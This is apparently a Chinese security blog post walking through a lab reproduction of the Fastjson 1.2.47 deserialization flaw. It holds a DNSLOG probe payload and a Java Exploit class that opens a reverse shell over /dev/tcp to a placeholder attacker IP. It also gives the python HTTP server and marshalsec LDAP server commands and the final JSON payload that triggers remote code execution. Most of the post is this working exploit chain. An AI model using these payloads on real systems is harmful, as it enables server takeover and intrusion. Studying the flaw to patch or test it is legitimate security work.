Fastjson<=1.2.47 反序列化漏洞

  1. 环境搭建
  2. 漏洞复现

环境搭建

  • fastjson-1.2.47
  • jdk-8u181-linux-x64.tar.gz
  • marshalsec-0.0.3-SNAPSHOT-all.jar
  • tomcat8.35

可以用P神的vulhub和docker搭建,这里我尝试搭建了好久报错,就还是自己手工搭建吧。


漏洞复现

首先我们可以利用DNSLOG进行漏洞探测:

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://q0qdv.l.dnslog.io/Exploit",
"autoCommit":true
}
}

但是好像只能打一次,过一会就不能打了。

接下来我们反弹shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xxx.xxx.xxx.xxx/12345;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));

String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}

p.waitFor();
is.close();
reader.close();
p.destroy();
}

public static void main(String[] args) throws Exception {
}
}

将以上代码保存为Exploit.java,然后javac编译成class,编译好之后上传服务器,在该目录下启用python http服务:

1
python -m SimpleHTTPServer 7000

开启nc监听,上面的代码中监听的12345:

使用marshalsec工具快捷的开启LDAP服务:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xxx.xxx.xxx.xxx:7000/#Exploit 7500

一共开启了三个监听,最后我们发送payload:

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://xxxxxx:7000/Exploit",
"autoCommit":true
}
}

shell就可以弹回来了,但是一个ip只可以利用一次。

还需要注意jdk的版本。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:Fastjson<=1.2.47 反序列化漏洞

本文作者:sher10ck

发布时间:2020-06-22, 18:01:18

最后更新:2020-06-22, 18:25:28

原始链接:http://sherlocz.github.io/2020/06/22/Fastjson-1-2-47-反序列化漏洞/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录